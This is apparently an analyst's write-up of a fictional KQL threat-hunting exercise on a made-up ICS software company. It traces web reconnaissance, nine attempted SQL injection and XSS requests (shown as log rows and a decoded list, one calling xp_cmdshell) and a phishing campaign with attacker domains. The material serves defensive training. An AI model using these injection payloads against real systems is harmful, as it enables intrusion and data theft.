Solvi Systems

In this case, we take on the role of a security analyst tasked to identify any intrusions (attempted or successful) against Solvi Systems, a company that provides the (fictional) DOCKS ICS software that powers much of the South African energy industry--and plays a key role in the wider regional landscape. This case has a training guide that provides lore and KQL tips.

Within the training guide we're provided with an "Actor Preview" document, used to keep track of the information we find on the threat actor, such as code names, affilitations, operating regions, motivations, a summary, initial access vectors, post-exploitation activity, command and control, exfiltration and impact, an appendix for indicators of compromise (IoC) and analyst notes.

Fun fact: was the fourth case in line until March 2025's KQL 101 was added; Solvi Systems is now the fifth.

Sections

Section 1 - KQL 101

I'll start by scoping out the organization.

Employees
| summarize count() by role
Query Results
role count_
ICS Software Developer 189
Administrative Staff 50
Quality Assurance Specialist 50
Intern 50
Customer Support Specialist 40
Vulnerability Researcher 30
Sales Representative 29
Project Manager 10
Customer Success Manager 10
Marketing Manager 10
Lead Software Engineer 6
Financial Officer 5
IT Administrator 5
ICS Quality Assurance Specialist 4
Human Resources Manager 4
ICS Vulnerability Researcher 3
Project Manager for Docks ICS 1
CEO 1
Docks Customer Success Manager 1
CTO 1
DOCKS ICS Security Lead 1

SolviSystems has 500 employees total, most being ICS Software Developers.

Section 2 - Someone's Knocking

There's an alert from SolviSystems' Web Application Firewall (WAF); someone seems to be attempting to compromise the company website.

{
   description: "DETECTION RULE TRIGGERED",
   severity: "HIGH",
   rule_description: "SUSPICIOUS TEXT IN HTTP REQUEST",
   data: https://www.solvisystems.com/feedback?message=</script>.
 <script>alert('xss')</script>
}

This is a pretty basic cross-site scripting attack; fortunately, besides the firewall alert the field the threat actors were trying to exploit sanitizes input. The attempted attack can be seen in our logs:

InboundNetworkEvents
| where url contains "alert"
Query Results
timestamp method src_ip user_agent url status_code
2024-05-03 14:48:08.0000 GET 13.201.46.208 Opera/8.64.(X11; Linux x86_64; kok-IN) Presto/2.9.165 Version/10.00 https://www.solvisystems.com/feedback%3Fmessage%3D%3C/script%3E%3Cscript%3Ealert%28%27xss%27%29%3C/script%3E 404

The URL appears encoded in the logs; it's https://www.solvisystems.com/feedback?message=</script><script>alert('xss')</script>. The response code is 404 ("Page not Found") and shows that the attack was unsuccessful. The user agent shows that the attacker was running a version of Opera (Presto engine) under 64-bit Linux, using the X11 windowing system, and their IP address is 13.201.46.208. This attempted intrusion occurred on 2024-05-03 at 14:48:08 in the afternoon. Before investigating other possible intrusion attempts from this IP, I want to check if there are any domains or other IPs associated with these attackers.

PassiveDns
| where ip == "13.201.46.208"
| distinct domain
Query Results
domain
energy-trends4u.net

This IP is associated with a single domain: energy-trends4u.net. I checked for any other IPs with:

PassiveDns
| where ip == "13.201.46.208"
| distinct domain
| lookup PassiveDns on $left.domain == $right.domain
| distinct ip
Query Results
ip
105.78.23.64
13.201.46.208

Doing another recursive lookup doesn't unveil any other domains or IP addresses. In order to weed out more possible attacker IPs, I checked InboundNetworkEvents using the known user agent string.

InboundNetworkEvents
| where user_agent == "Opera/8.64.(X11; Linux x86_64; kok-IN) Presto/2.9.165 Version/10.00"
Query Results
timestamp method src_ip user_agent url status_code
2024-05-01 00:00:00.0000 GET 98.117.26.236 Opera/8.64.(X11; Linux x86_64; kok-IN) Presto/2.9.165 Version/10.00 https://www.solvisystems.com/about-us 200
2024-05-01 11:20:47.0000 GET 105.78.23.64 Opera/8.64.(X11; Linux x86_64; kok-IN) Presto/2.9.165 Version/10.00 https://www.solvisystems.com/contact 200
2024-05-01 12:07:47.0000 GET 56.6.30.190 Opera/8.64.(X11; Linux x86_64; kok-IN) Presto/2.9.165 Version/10.00 https://www.solvisystems.com/products/docks-ics 200
2024-05-01 12:35:47.0000 GET 56.6.30.190 Opera/8.64.(X11; Linux x86_64; kok-IN) Presto/2.9.165 Version/10.00 https://www.solvisystems.com/products/docks-ics/features 200
2024-05-01 13:24:47.0000 GET 105.78.23.64 Opera/8.64.(X11; Linux x86_64; kok-IN) Presto/2.9.165 Version/10.00 https://www.solvisystems.com/products/docks-ics/pricing 200
2024-05-01 13:45:47.0000 GET 105.78.23.64 Opera/8.64.(X11; Linux x86_64; kok-IN) Presto/2.9.165 Version/10.00 https://www.solvisystems.com/support/docks-ics/faqs 200
2024-05-01 14:36:47.0000 GET 105.78.23.64 Opera/8.64.(X11; Linux x86_64; kok-IN) Presto/2.9.165 Version/10.00 https://www.solvisystems.com/community/discussions/docks-ics 200
2024-05-01 15:34:47.0000 GET 56.6.30.190 Opera/8.64.(X11; Linux x86_64; kok-IN) Presto/2.9.165 Version/10.00 https://www.solvisystems.com/news/releases/docks-ics-updates 200
2024-05-01 16:07:47.0000 GET 13.201.46.208 Opera/8.64.(X11; Linux x86_64; kok-IN) Presto/2.9.165 Version/10.00 https://www.solvisystems.com/partners 200
2024-05-01 16:57:47.0000 GET 13.201.46.208 Opera/8.64.(X11; Linux x86_64; kok-IN) Presto/2.9.165 Version/10.00 https://www.solvisystems.com/partners/eskom 200
2024-05-01 17:34:47.0000 GET 13.201.46.208 Opera/8.64.(X11; Linux x86_64; kok-IN) Presto/2.9.165 Version/10.00 https://www.solvisystems.com/partners/powergridtech 200
2024-05-02 10:41:30.0000 GET 98.117.26.236 Opera/8.64.(X11; Linux x86_64; kok-IN) Presto/2.9.165 Version/10.00 https://www.solvisystems.com/partners/industrialcontrolsystems 200
2024-05-02 11:30:30.0000 GET 13.201.46.208 Opera/8.64.(X11; Linux x86_64; kok-IN) Presto/2.9.165 Version/10.00 https://www.solvisystems.com/partners/secureics 200
2024-05-02 11:55:30.0000 GET 13.201.46.208 Opera/8.64.(X11; Linux x86_64; kok-IN) Presto/2.9.165 Version/10.00 https://www.solvisystems.com/partners/eskom/products 200
2024-05-02 11:56:30.0000 GET 56.6.30.190 Opera/8.64.(X11; Linux x86_64; kok-IN) Presto/2.9.165 Version/10.00 https://www.solvisystems.com/partners/powergridtech/products 200
2024-05-02 12:55:30.0000 GET 13.201.46.208 Opera/8.64.(X11; Linux x86_64; kok-IN) Presto/2.9.165 Version/10.00 https://www.solvisystems.com/partners/industrialcontrolsystems/products 200
2024-05-02 13:22:30.0000 GET 13.201.46.208 Opera/8.64.(X11; Linux x86_64; kok-IN) Presto/2.9.165 Version/10.00 https://www.solvisystems.com/partners/secureics/products 200
2024-05-02 13:35:30.0000 GET 56.6.30.190 Opera/8.64.(X11; Linux x86_64; kok-IN) Presto/2.9.165 Version/10.00 https://www.solvisystems.com/search=DOCKS+ICS 200
2024-05-02 14:21:30.0000 GET 98.117.26.236 Opera/8.64.(X11; Linux x86_64; kok-IN) Presto/2.9.165 Version/10.00 https://www.solvisystems.com/search=DOCKS+ICS+security 200
2024-05-02 15:15:30.0000 GET 13.201.46.208 Opera/8.64.(X11; Linux x86_64; kok-IN) Presto/2.9.165 Version/10.00 https://www.solvisystems.com/search=DOCKS+ICS+vulnerabilities 200
2024-05-02 16:13:30.0000 GET 13.201.46.208 Opera/8.64.(X11; Linux x86_64; kok-IN) Presto/2.9.165 Version/10.00 https://www.solvisystems.com/search=DOCKS+ICS+security+updates 200
2024-05-02 17:05:30.0000 GET 98.117.26.236 Opera/8.64.(X11; Linux x86_64; kok-IN) Presto/2.9.165 Version/10.00 https://www.solvisystems.com/search?q=DOCKS+ICS 200
2024-05-02 17:08:30.0000 GET 13.201.46.208 Opera/8.64.(X11; Linux x86_64; kok-IN) Presto/2.9.165 Version/10.00 https://www.solvisystems.com/search?q=DOCKS+ICS+security 200
2024-05-02 17:17:30.0000 GET 105.78.23.64 Opera/8.64.(X11; Linux x86_64; kok-IN) Presto/2.9.165 Version/10.00 https://www.solvisystems.com/search?q=DOCKS+ICS+vulnerabilities 200
2024-05-02 17:53:30.0000 GET 13.201.46.208 Opera/8.64.(X11; Linux x86_64; kok-IN) Presto/2.9.165 Version/10.00 https://www.solvisystems.com/search?q=DOCKS+ICS+security+updates 200
2024-05-03 11:29:08.0000 GET 98.117.26.236 Opera/8.64.(X11; Linux x86_64; kok-IN) Presto/2.9.165 Version/10.00 https://www.solvisystems.com/products%3Fname%3D%27%20OR%20%271%27%3D%271 404
2024-05-03 12:15:08.0000 GET 13.201.46.208 Opera/8.64.(X11; Linux x86_64; kok-IN) Presto/2.9.165 Version/10.00 https://www.solvisystems.com/search%3Fq%3D%27%3B%20DROP%20TABLE%20users%3B%20-- 404
2024-05-03 12:31:08.0000 GET 105.78.23.64 Opera/8.64.(X11; Linux x86_64; kok-IN) Presto/2.9.165 Version/10.00 https://www.solvisystems.com/api/data%3Fuser_id%3D1%20UNION%20SELECT%201%2C%20username%2C%20password%20FROM%20users 404
2024-05-03 13:07:08.0000 GET 56.6.30.190 Opera/8.64.(X11; Linux x86_64; kok-IN) Presto/2.9.165 Version/10.00 https://www.solvisystems.com/api/auth%3Fusername%3Dadmin%27-- 404
2024-05-03 13:12:08.0000 GET 105.78.23.64 Opera/8.64.(X11; Linux x86_64; kok-IN) Presto/2.9.165 Version/10.00 https://www.solvisystems.com/api/settings%3Fsetting%3D%27%20OR%201%3D1-- 404
2024-05-03 13:29:08.0000 GET 56.6.30.190 Opera/8.64.(X11; Linux x86_64; kok-IN) Presto/2.9.165 Version/10.00 https://www.solvisystems.com/products/details%3Fid%3D1%20AND%201%3D1 404
2024-05-03 14:00:08.0000 GET 105.78.23.64 Opera/8.64.(X11; Linux x86_64; kok-IN) Presto/2.9.165 Version/10.00 https://www.solvisystems.com/search/results%3Fquery%3D%27%3BEXEC%20xp_cmdshell%20%27dir%27%3B-- 404
2024-05-03 14:11:08.0000 GET 98.117.26.236 Opera/8.64.(X11; Linux x86_64; kok-IN) Presto/2.9.165 Version/10.00 https://www.solvisystems.com/download%3Ffile%3D%27%20UNION%20SELECT%20system_user%2C%20%40%40version%2C%20db_name%28%29-- 404
2024-05-03 14:48:08.0000 GET 13.201.46.208 Opera/8.64.(X11; Linux x86_64; kok-IN) Presto/2.9.165 Version/10.00 https://www.solvisystems.com/feedback%3Fmessage%3D%3C/script%3E%3Cscript%3Ealert%28%27xss%27%29%3C/script%3E 404
2024-05-27 14:01:01.0000 GET 98.117.26.236 Opera/8.64.(X11; Linux x86_64; kok-IN) Presto/2.9.165 Version/10.00 https://solvisystems.com/search=DOCKS+system+architecture 200
2024-05-27 14:05:01.0000 GET 98.117.26.236 Opera/8.64.(X11; Linux x86_64; kok-IN) Presto/2.9.165 Version/10.00 https://solvisystems.com/search=DOCKS+integration+guidelines 200
2024-05-27 14:08:01.0000 GET 98.117.26.236 Opera/8.64.(X11; Linux x86_64; kok-IN) Presto/2.9.165 Version/10.00 https://solvisystems.com/search=DOCKS+software+update+logs 200
2024-05-27 14:19:01.0000 GET 98.117.26.236 Opera/8.64.(X11; Linux x86_64; kok-IN) Presto/2.9.165 Version/10.00 https://solvisystems.com/search=DOCKS+system+security+protocols 200
2024-05-27 15:15:01.0000 GET 13.201.46.208 Opera/8.64.(X11; Linux x86_64; kok-IN) Presto/2.9.165 Version/10.00 https://sharepoint.solvisystems.com/docs/DOCKS_Architecture.pdf 200
2024-05-27 15:19:01.0000 GET 56.6.30.190 Opera/8.64.(X11; Linux x86_64; kok-IN) Presto/2.9.165 Version/10.00 https://sharepoint.solvisystems.com/docs/DOCKS_Integration_Manual.pdf 200
2024-05-27 15:56:01.0000 GET 13.201.46.208 Opera/8.64.(X11; Linux x86_64; kok-IN) Presto/2.9.165 Version/10.00 https://sharepoint.solvisystems.com/update_logs/2024/ 200
2024-05-27 16:14:01.0000 GET 98.117.26.236 Opera/8.64.(X11; Linux x86_64; kok-IN) Presto/2.9.165 Version/10.00 https://sharepoint.solvisystems.com/security_protocols/DOCKS/ 200
2024-05-27 17:14:46.0000 GET 56.6.30.190 Opera/8.64.(X11; Linux x86_64; kok-IN) Presto/2.9.165 Version/10.00 https://devportal.solvisystems.com/development_lifecycle/internal_process.pdf 200
2024-05-27 17:15:03.0000 GET 13.201.46.208 Opera/8.64.(X11; Linux x86_64; kok-IN) Presto/2.9.165 Version/10.00 https://devportal.solvisystems.com/DOCKS/planning/sprint_reviews/Q1_2024/ 200
2024-05-28 12:22:56.0000 GET 105.78.23.64 Opera/8.64.(X11; Linux x86_64; kok-IN) Presto/2.9.165 Version/10.00 https://solvisystems.com/search=DOCKS+system+architecture 200
2024-05-28 12:41:12.0000 GET 56.6.30.190 Opera/8.64.(X11; Linux x86_64; kok-IN) Presto/2.9.165 Version/10.00 https://solvisystems.com/search=DOCKS+system+architecture 200
2024-05-28 12:50:12.0000 GET 105.78.23.64 Opera/8.64.(X11; Linux x86_64; kok-IN) Presto/2.9.165 Version/10.00 https://solvisystems.com/search=DOCKS+integration+guidelines 200
2024-05-28 12:57:56.0000 GET 13.201.46.208 Opera/8.64.(X11; Linux x86_64; kok-IN) Presto/2.9.165 Version/10.00 https://solvisystems.com/search=DOCKS+integration+guidelines 200
2024-05-28 13:46:12.0000 GET 98.117.26.236 Opera/8.64.(X11; Linux x86_64; kok-IN) Presto/2.9.165 Version/10.00 https://solvisystems.com/search=DOCKS+software+update+logs 200
2024-05-28 13:50:56.0000 GET 98.117.26.236 Opera/8.64.(X11; Linux x86_64; kok-IN) Presto/2.9.165 Version/10.00 https://solvisystems.com/search=DOCKS+software+update+logs 200
2024-05-28 14:31:12.0000 GET 56.6.30.190 Opera/8.64.(X11; Linux x86_64; kok-IN) Presto/2.9.165 Version/10.00 https://solvisystems.com/search=DOCKS+system+security+protocols 200
2024-05-28 14:42:12.0000 GET 98.117.26.236 Opera/8.64.(X11; Linux x86_64; kok-IN) Presto/2.9.165 Version/10.00 https://sharepoint.solvisystems.com/docs/DOCKS_Architecture.pdf 200
2024-05-28 14:46:56.0000 GET 98.117.26.236 Opera/8.64.(X11; Linux x86_64; kok-IN) Presto/2.9.165 Version/10.00 https://solvisystems.com/search=DOCKS+system+security+protocols 200
2024-05-28 15:10:12.0000 GET 105.78.23.64 Opera/8.64.(X11; Linux x86_64; kok-IN) Presto/2.9.165 Version/10.00 https://sharepoint.solvisystems.com/docs/DOCKS_Integration_Manual.pdf 200
2024-05-28 15:33:12.0000 GET 56.6.30.190 Opera/8.64.(X11; Linux x86_64; kok-IN) Presto/2.9.165 Version/10.00 https://sharepoint.solvisystems.com/update_logs/2024/ 200
2024-05-28 15:41:56.0000 GET 13.201.46.208 Opera/8.64.(X11; Linux x86_64; kok-IN) Presto/2.9.165 Version/10.00 https://sharepoint.solvisystems.com/docs/DOCKS_Architecture.pdf 200
2024-05-28 16:04:56.0000 GET 98.117.26.236 Opera/8.64.(X11; Linux x86_64; kok-IN) Presto/2.9.165 Version/10.00 https://sharepoint.solvisystems.com/docs/DOCKS_Integration_Manual.pdf 200
2024-05-28 16:21:12.0000 GET 13.201.46.208 Opera/8.64.(X11; Linux x86_64; kok-IN) Presto/2.9.165 Version/10.00 https://sharepoint.solvisystems.com/security_protocols/DOCKS/ 200
2024-05-28 16:58:56.0000 GET 56.6.30.190 Opera/8.64.(X11; Linux x86_64; kok-IN) Presto/2.9.165 Version/10.00 https://sharepoint.solvisystems.com/update_logs/2024/ 200
2024-05-28 17:15:56.0000 GET 98.117.26.236 Opera/8.64.(X11; Linux x86_64; kok-IN) Presto/2.9.165 Version/10.00 https://sharepoint.solvisystems.com/security_protocols/DOCKS/ 200
2024-05-29 10:13:18.0000 GET 13.201.46.208 Opera/8.64.(X11; Linux x86_64; kok-IN) Presto/2.9.165 Version/10.00 https://devportal.solvisystems.com/development_lifecycle/internal_process.pdf 200
2024-05-29 10:14:03.0000 GET 56.6.30.190 Opera/8.64.(X11; Linux x86_64; kok-IN) Presto/2.9.165 Version/10.00 https://devportal.solvisystems.com/DOCKS/planning/sprint_reviews/Q1_2024/ 200
2024-05-29 14:45:08.0000 GET 56.6.30.190 Opera/8.64.(X11; Linux x86_64; kok-IN) Presto/2.9.165 Version/10.00 https://devportal.solvisystems.com/development_lifecycle/internal_process.pdf 200
2024-05-29 14:45:39.0000 GET 56.6.30.190 Opera/8.64.(X11; Linux x86_64; kok-IN) Presto/2.9.165 Version/10.00 https://devportal.solvisystems.com/DOCKS/planning/sprint_reviews/Q1_2024/ 200

The attackers engaged in reconnaissance over 28 days, starting on May 1st and ending on May 29th, looking up information on the proprietary DOCKS ICS system, from pricing and the FAQs to any known security vulnerabilities; they also examined our partners (Eskom, PowerGrid Tech, SecureICS, and Industrial Control Systems) and their products. From 2024-05-03 12:15:08 to 2024-05-03 14:48:08 (i.e. in the span of roughly 2 hours and 33 minutes) they performed nine attempts at compromising our website via basic web exploits, such as XSS and SQL injections.

  1. https://www.solvisystems.com/products?name=' OR '1'='1
  2. https://www.solvisystems.com/search?q='; DROP TABLE users; --
  3. https://www.solvisystems.com/api/data?user_id=1 UNION SELECT 1, username, password FROM users
  4. https://www.solvisystems.com/api/auth?username=admin'--
  5. https://www.solvisystems.com/api/settings?setting=' OR 1=1--
  6. https://www.solvisystems.com/products/details?id=1 AND 1=1
  7. https://www.solvisystems.com/search/results?query=';EXEC xp_cmdshell 'dir';--
  8. https://www.solvisystems.com/download?file=' UNION SELECT system_user, @@version, db_name()--
  9. https://www.solvisystems.com/feedback?message=</script><script>alert('xss')</script>

There is evidence the attackers managed to access internal documentation and portals, such as sharepoint.solvisystems.com and devportal.solvisystems.com.

The source IP addresses are: 105.78.23.64,13.201.46.208, 56.6.30.190, and 98.117.26.236. Checking against PassiveDns once again:

InboundNetworkEvents
| where user_agent == "Opera/8.64.(X11; Linux x86_64; kok-IN) Presto/2.9.165 Version/10.00"
| distinct src_ip
| lookup PassiveDns on $left.src_ip == $right.ip
| distinct domain
Query Results
domain
energy-trends4u.net
news-on-industry.com
eco-awareness-update.net

Everything here screams "nefarious purposes". The attackers tried and failed to access via website exploits, and there's evidence that they successfully got access to internal systems. It's probably there were other attempts -- successful or otherwise -- to gain access to our systems. The following section will go in-depth on this matter.

Section 3 - Snail Mail

Phishing via email remains a popular and surprisingly effective attack vector to this day, so I pivot:

let bad_domains =
InboundNetworkEvents
| where user_agent == "Opera/8.64.(X11; Linux x86_64; kok-IN) Presto/2.9.165 Version/10.00"
| distinct src_ip
| lookup PassiveDns on $left.src_ip == $right.ip
| distinct domain;
Email
| where tostring(parse_url(link).Host) in (bad_domains)
Query Results
timestamp sender reply_to recipient subject verdict link
2024-05-01 15:51:41.0000 news@eco-awareness-updates.net electric_updates@gmail.com carla_wharton@solvisystems.com [EXTERNAL] Business Opportunity: Two major energy companies merging CLEAN http://news-on-industry.com/search/online/files/public/Energy_Industry_Trends_2024_4_Solvi.docx
2024-05-01 15:51:41.0000 news@eco-awareness-updates.net electric_updates@gmail.com carolyn_ocampo@solvisystems.com [EXTERNAL] Business Opportunity: Two major energy companies merging CLEAN http://news-on-industry.com/search/online/files/public/Energy_Industry_Trends_2024_4_Solvi.docx
2024-05-01 15:51:41.0000 news@eco-awareness-updates.net electric_updates@gmail.com annie_jay@solvisystems.com [EXTERNAL] Business Opportunity: Two major energy companies merging CLEAN http://news-on-industry.com/search/online/files/public/Energy_Industry_Trends_2024_4_Solvi.docx
2024-05-01 15:51:41.0000 news@eco-awareness-updates.net electric_updates@gmail.com roy_wixon@solvisystems.com [EXTERNAL] Business Opportunity: Two major energy companies merging CLEAN http://news-on-industry.com/search/online/files/public/Energy_Industry_Trends_2024_4_Solvi.docx
2024-05-01 15:51:41.0000 news@eco-awareness-updates.net electric_updates@gmail.com heather_cunningham@solvisystems.com [EXTERNAL] Business Opportunity: Two major energy companies merging CLEAN http://news-on-industry.com/search/online/files/public/Energy_Industry_Trends_2024_4_Solvi.docx
2024-05-01 15:51:41.0000 news@eco-awareness-updates.net electric_updates@gmail.com marian_kertzman@solvisystems.com [EXTERNAL] Business Opportunity: Two major energy companies merging CLEAN http://news-on-industry.com/search/online/files/public/Energy_Industry_Trends_2024_4_Solvi.docx
2024-05-01 15:51:41.0000 news@eco-awareness-updates.net electric_updates@gmail.com milagros_stell@solvisystems.com [EXTERNAL] Business Opportunity: Two major energy companies merging CLEAN http://news-on-industry.com/search/online/files/public/Energy_Industry_Trends_2024_4_Solvi.docx
2024-05-02 15:15:23.0000 energy_industry_news@protonmail.com electric_updates@gmail.com jamie_lee@solvisystems.com [EXTERNAL] [!Critical!] New Market Challenges for Solvi Systems CLEAN https://eco-awareness-update.net/online/images/Recent_Mergers_and_Acquisitions_in_Energy_Industry.docx
2024-05-02 15:15:23.0000 energy_industry_news@protonmail.com electric_updates@gmail.com laura_lesage@solvisystems.com [EXTERNAL] [!Critical!] New Market Challenges for Solvi Systems CLEAN https://eco-awareness-update.net/online/images/Recent_Mergers_and_Acquisitions_in_Energy_Industry.docx
2024-05-02 15:15:23.0000 energy_industry_news@protonmail.com electric_updates@gmail.com william_williams@solvisystems.com [EXTERNAL] [!Critical!] New Market Challenges for Solvi Systems CLEAN https://eco-awareness-update.net/online/images/Recent_Mergers_and_Acquisitions_in_Energy_Industry.docx
2024-05-03 15:27:40.0000 electric_updates@gmail.com news@eco-awareness-updates.net david_eye@solvisystems.com [EXTERNAL] RE: Energy Industry Trends 2024 for Solvi Systems CLEAN http://energy-trends4u.net/modules/Recent_Mergers_and_Acquisitions_in_Energy_Industry.docx
2024-05-03 15:27:40.0000 electric_updates@gmail.com news@eco-awareness-updates.net elizabeth_hampton@solvisystems.com [EXTERNAL] RE: Energy Industry Trends 2024 for Solvi Systems CLEAN http://energy-trends4u.net/modules/Recent_Mergers_and_Acquisitions_in_Energy_Industry.docx
2024-05-03 15:27:40.0000 electric_updates@gmail.com news@eco-awareness-updates.net alexei_petrov@solvisystems.com [EXTERNAL] RE: Energy Industry Trends 2024 for Solvi Systems CLEAN http://energy-trends4u.net/modules/Recent_Mergers_and_Acquisitions_in_Energy_Industry.docx
2024-05-08 15:34:01.0000 energy_industry_news@protonmail.com electric_updates@gmail.com mary_clarence@solvisystems.com [EXTERNAL] Business Opportunity: Two major energy companies merging CLEAN https://news-on-industry.com/search/online/published/Energy_Industry_Trends_2024_4_Solvi.docx
2024-05-08 15:34:01.0000 energy_industry_news@protonmail.com electric_updates@gmail.com albert_richards@solvisystems.com [EXTERNAL] Business Opportunity: Two major energy companies merging CLEAN https://news-on-industry.com/search/online/published/Energy_Industry_Trends_2024_4_Solvi.docx
2024-05-08 15:34:01.0000 energy_industry_news@protonmail.com electric_updates@gmail.com lauren_gee@solvisystems.com [EXTERNAL] Business Opportunity: Two major energy companies merging CLEAN https://news-on-industry.com/search/online/published/Energy_Industry_Trends_2024_4_Solvi.docx
2024-05-08 15:34:01.0000 energy_industry_news@protonmail.com electric_updates@gmail.com michael_kraft@solvisystems.com [EXTERNAL] Business Opportunity: Two major energy companies merging CLEAN https://news-on-industry.com/search/online/published/Energy_Industry_Trends_2024_4_Solvi.docx
2024-05-09 11:30:34.0000 energy_industry_news@protonmail.com electric_updates@gmail.com jani_walden@solvisystems.com [EXTERNAL] Energy Industry Trends 2024 for Solvi Systems BLOCKED http://eco-awareness-update.net/published/online/Recent_Mergers_and_Acquisitions_in_Energy_Industry.docx
2024-05-09 11:30:34.0000 energy_industry_news@protonmail.com electric_updates@gmail.com leona_brown@solvisystems.com [EXTERNAL] Energy Industry Trends 2024 for Solvi Systems BLOCKED http://eco-awareness-update.net/published/online/Recent_Mergers_and_Acquisitions_in_Energy_Industry.docx
2024-05-09 11:30:34.0000 energy_industry_news@protonmail.com electric_updates@gmail.com reina_greenhouse@solvisystems.com [EXTERNAL] Energy Industry Trends 2024 for Solvi Systems BLOCKED http://eco-awareness-update.net/published/online/Recent_Mergers_and_Acquisitions_in_Energy_Industry.docx
2024-05-10 16:08:59.0000 electric_updates@gmail.com electric_updates@gmail.com tommie_ross@solvisystems.com [EXTERNAL] FW: [!!!] Recent Mergers and Acquisitions in the Energy Industry CLEAN https://news-on-industry.com/published/images/Energy_Industry_Trends_2024_4_Solvi.docx
2024-05-10 16:08:59.0000 electric_updates@gmail.com electric_updates@gmail.com van_clark@solvisystems.com [EXTERNAL] FW: [!!!] Recent Mergers and Acquisitions in the Energy Industry CLEAN https://news-on-industry.com/published/images/Energy_Industry_Trends_2024_4_Solvi.docx
2024-05-10 16:08:59.0000 electric_updates@gmail.com electric_updates@gmail.com mariella_braswell@solvisystems.com [EXTERNAL] FW: [!!!] Recent Mergers and Acquisitions in the Energy Industry CLEAN https://news-on-industry.com/published/images/Energy_Industry_Trends_2024_4_Solvi.docx
2024-05-13 11:52:15.0000 electric_updates@gmail.com news@eco-awareness-updates.net james_carpenter@solvisystems.com [EXTERNAL] [!!!] Recent Mergers and Acquisitions in the Energy Industry BLOCKED http://energy-trends4u.net/public/share/files/Energy_Industry_Trends_2024_4_Solvi.docx
2024-05-13 11:52:15.0000 electric_updates@gmail.com news@eco-awareness-updates.net gary_mcdougle@solvisystems.com [EXTERNAL] [!!!] Recent Mergers and Acquisitions in the Energy Industry BLOCKED http://energy-trends4u.net/public/share/files/Energy_Industry_Trends_2024_4_Solvi.docx
2024-05-13 11:52:15.0000 electric_updates@gmail.com news@eco-awareness-updates.net kathleen_harrison@solvisystems.com [EXTERNAL] [!!!] Recent Mergers and Acquisitions in the Energy Industry BLOCKED http://energy-trends4u.net/public/share/files/Energy_Industry_Trends_2024_4_Solvi.docx
2024-05-13 11:52:15.0000 electric_updates@gmail.com news@eco-awareness-updates.net caroline_warren@solvisystems.com [EXTERNAL] [!!!] Recent Mergers and Acquisitions in the Energy Industry BLOCKED http://energy-trends4u.net/public/share/files/Energy_Industry_Trends_2024_4_Solvi.docx
2024-05-14 17:47:23.0000 energy_industry_news@protonmail.com energy_industry_news@protonmail.com donna_malick@solvisystems.com [EXTERNAL] FW: [!!!] Recent Mergers and Acquisitions in the Energy Industry SUSPICIOUS https://news-on-industry.com/public/Recent_Mergers_and_Acquisitions_in_Energy_Industry.docx
2024-05-14 17:47:23.0000 energy_industry_news@protonmail.com energy_industry_news@protonmail.com jeri_watts@solvisystems.com [EXTERNAL] FW: [!!!] Recent Mergers and Acquisitions in the Energy Industry SUSPICIOUS https://news-on-industry.com/public/Recent_Mergers_and_Acquisitions_in_Energy_Industry.docx
2024-05-14 17:47:23.0000 energy_industry_news@protonmail.com energy_industry_news@protonmail.com leo_culverhouse@solvisystems.com [EXTERNAL] FW: [!!!] Recent Mergers and Acquisitions in the Energy Industry SUSPICIOUS https://news-on-industry.com/public/Recent_Mergers_and_Acquisitions_in_Energy_Industry.docx
2024-05-14 17:47:23.0000 energy_industry_news@protonmail.com energy_industry_news@protonmail.com kathleen_harrison@solvisystems.com [EXTERNAL] FW: [!!!] Recent Mergers and Acquisitions in the Energy Industry SUSPICIOUS https://news-on-industry.com/public/Recent_Mergers_and_Acquisitions_in_Energy_Industry.docx
2024-05-14 17:47:23.0000 energy_industry_news@protonmail.com energy_industry_news@protonmail.com milagros_stell@solvisystems.com [EXTERNAL] FW: [!!!] Recent Mergers and Acquisitions in the Energy Industry SUSPICIOUS https://news-on-industry.com/public/Recent_Mergers_and_Acquisitions_in_Energy_Industry.docx
2024-05-16 16:15:22.0000 electric_updates@gmail.com energy_industry_news@protonmail.com esther_reither@solvisystems.com [EXTERNAL] [!Critical!] New Market Challenges for Solvi Systems CLEAN http://energy-trends4u.net/online/modules/published/files/Energy_Industry_Trends_2024_4_Solvi.docx
2024-05-16 16:15:22.0000 electric_updates@gmail.com energy_industry_news@protonmail.com robert_ortiz@solvisystems.com [EXTERNAL] [!Critical!] New Market Challenges for Solvi Systems CLEAN http://energy-trends4u.net/online/modules/published/files/Energy_Industry_Trends_2024_4_Solvi.docx
2024-05-16 16:15:22.0000 electric_updates@gmail.com energy_industry_news@protonmail.com jeri_watts@solvisystems.com [EXTERNAL] [!Critical!] New Market Challenges for Solvi Systems CLEAN http://energy-trends4u.net/online/modules/published/files/Energy_Industry_Trends_2024_4_Solvi.docx
2024-05-16 16:15:22.0000 electric_updates@gmail.com energy_industry_news@protonmail.com amanda_strickland@solvisystems.com [EXTERNAL] [!Critical!] New Market Challenges for Solvi Systems CLEAN http://energy-trends4u.net/online/modules/published/files/Energy_Industry_Trends_2024_4_Solvi.docx
2024-05-16 16:15:22.0000 electric_updates@gmail.com energy_industry_news@protonmail.com carl_warfield@solvisystems.com [EXTERNAL] [!Critical!] New Market Challenges for Solvi Systems CLEAN http://energy-trends4u.net/online/modules/published/files/Energy_Industry_Trends_2024_4_Solvi.docx
2024-05-17 15:04:31.0000 energy_industry_news@protonmail.com electric_updates@gmail.com carl_warfield@solvisystems.com [EXTERNAL] RE: [!!!] Recent Mergers and Acquisitions in the Energy Industry CLEAN http://energy-trends4u.net/images/search/images/images/Eco_Awareness_Update_2024.docx
2024-05-17 15:04:31.0000 energy_industry_news@protonmail.com electric_updates@gmail.com irene_williams@solvisystems.com [EXTERNAL] RE: [!!!] Recent Mergers and Acquisitions in the Energy Industry CLEAN http://energy-trends4u.net/images/search/images/images/Eco_Awareness_Update_2024.docx
2024-05-20 16:38:53.0000 energy_industry_news@protonmail.com electric_updates@gmail.com tosha_mildon@solvisystems.com [EXTERNAL] Energy Industry Trends 2024 for Solvi Systems CLEAN https://energy-trends4u.net/published/online/modules/online/Recent_Mergers_and_Acquisitions_in_Energy_Industry.docx
2024-05-20 16:38:53.0000 energy_industry_news@protonmail.com electric_updates@gmail.com denise_adams@solvisystems.com [EXTERNAL] Energy Industry Trends 2024 for Solvi Systems CLEAN https://energy-trends4u.net/published/online/modules/online/Recent_Mergers_and_Acquisitions_in_Energy_Industry.docx
2024-05-21 16:13:40.0000 energy_industry_news@protonmail.com energy_industry_news@protonmail.com howard_wetmore@solvisystems.com [EXTERNAL] RE: Business Opportunity: Two major energy companies merging CLEAN http://energy-trends4u.net/public/Recent_Mergers_and_Acquisitions_in_Energy_Industry.docx
